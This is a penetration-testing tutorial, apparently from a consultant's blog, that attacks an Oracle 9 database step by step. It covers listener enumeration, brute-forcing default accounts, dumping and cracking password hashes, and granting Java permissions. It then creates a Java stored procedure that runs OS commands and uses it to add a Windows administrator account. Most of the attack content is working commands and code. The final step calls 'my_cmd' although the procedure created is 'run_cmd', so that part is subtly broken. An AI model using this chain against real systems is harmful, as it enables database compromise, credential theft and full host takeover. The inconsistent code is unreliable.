In this article, I’ll discuss a range of basic Oracle 9 testing principles from the SID and account enumeration to query execution and finally, you guessed it, remote code execution.

If you’re looking for professional oracle penetration testing, please contact me.

Firstly, we’ll check to see that TCP port 1521 which is the Oracle Net Listener is open using nmap:

nmap -p 1521 192.168.15.205
Oracle Net Listener Nmap

Oracle Net Listener Nmap

Once done, we can use the ‘status’ and ‘version’ commands to get more information, using ‘tnscmd.pl’ from a tool called ‘oracle_checkpwd’:

./tnscmd.pl version -h 192.168.15.205
./tnscmd.pl status -h 192.168.15.205
tnscmd Version and Status

tnscmd Version and Status


I have highlighted the interesting parts in red boxes, and from the output we now know that;

  1. The version is Win32 9.2.0.1.0
  2. The installation path is C:\oracle\ora92\
  3. The hostname is oracle.acme.local
  4. We have service names ‘acme’ and ‘acmeXDB’ running

That’s a good start considering we don’t even have any credentials yet! The next step is to attempt to brute force some credentials, using ‘opwg.sh’ from the ‘OAT’ toolkit. We know the SID and so we can begin with:

./opwg.sh -s 192.168.15.205 -d acme

opwg.sh also allows for a user file and password file to be specified on the command line for the use of a custom dictionary. This takes a short while to run, and eventually returns a list of any credentials that it was able to successfully enumerate –

opwg Username & Password Brute Force

opwg Username & Password Brute Force

We have successfully enumerated a number of sets of credentials. Looking these up, they appear to be default Oracle accounts. ‘SYSTEM’ is the highest privileged user that we have, followed by ‘DBSNMP’, followed by ‘SCOTT’. The OAT toolkit also contains some other very interesting tools including oquery, osd, ose, and otnsctl. Moving on, let’s see if we can log in with our SYSTEM/SYSTEM credentials. For this, we’ll need sqlplus_10.1 and instantclient10_1:

root@pwn:~/pen/tools/oracle# export LD_LIBRARY_PATH='/root/pen/tools/oracle/sqlplus_10.1/instantclient10_1/' #path to instantclient10_1
root@pwn:~/pen/tools/oracle# export ORACLE_SID=acme #our enumerated SID
root@pwn:~/pen/tools/oracle# cd ~/pen/tools/oracle/sqlplus_10.1/instantclient10_1
root@pwn:~/pen/tools/oracle/sqlplus_10.1/instantclient10_1# ./sqlplus /nolog #start sqlplus

SQL*Plus: Release 10.1.0.5.0 - Production on Sat Aug 10 14:32:37 2013

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SQL> connect system/system@//192.168.15.205:1521/acme #connection string for our database
Connected. #success!
SQL>

Now we’ve logged in, let’s see if we can run some queries!

SQL> select username,password from dba_users;
Oracle Users and Passwords

Oracle Users and Passwords

Now to crack the passwords with John. First, we’ll need to convert this output into a format which John understands:

cat pwlist.txt |awk '{ print $1 ":" $2 }' > oracle.txt

This converts “USERNAME PASSWORD” entries to “USERNAME:PASSWORD”. Now we can run John against the file:

John Oracle Password Cracking

John Oracle Password Cracking

John has successfully enumerated a number of accounts from the machine.

Now – how do we go about escalating ‘SYSTEM’ privileges within Oracle to full operating system privileges?

Firstly, ‘SYSTEM’ most likely does not have the permissions we need assigned, although it does have the ability to assign them to itself as follows:

DECLARE
  l_schema VARCHAR2(30) := 'SYSTEM';
BEGIN
  DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
END;
/

If all is OK, the server should return ‘PL/SQL procedure successfully completed.’

Next is:

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "mycmd" AS
import java.lang.*;
import java.io.*;

public class mycmd
{
 public static void execCommand (String command) throws IOException
 {
     Runtime.getRuntime().exec(command);
 }
};
/

and

CREATE OR REPLACE PROCEDURE run_cmd (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'mycmd.execCommand (java.lang.String)';
/

Now we have our ‘run_cmd’ procedure created, we can go ahead and create a user account:

exec my_cmd('net user npn pwned12345 /add');
exec my_cmd('net localgroup Administrators npn /add');

Game over!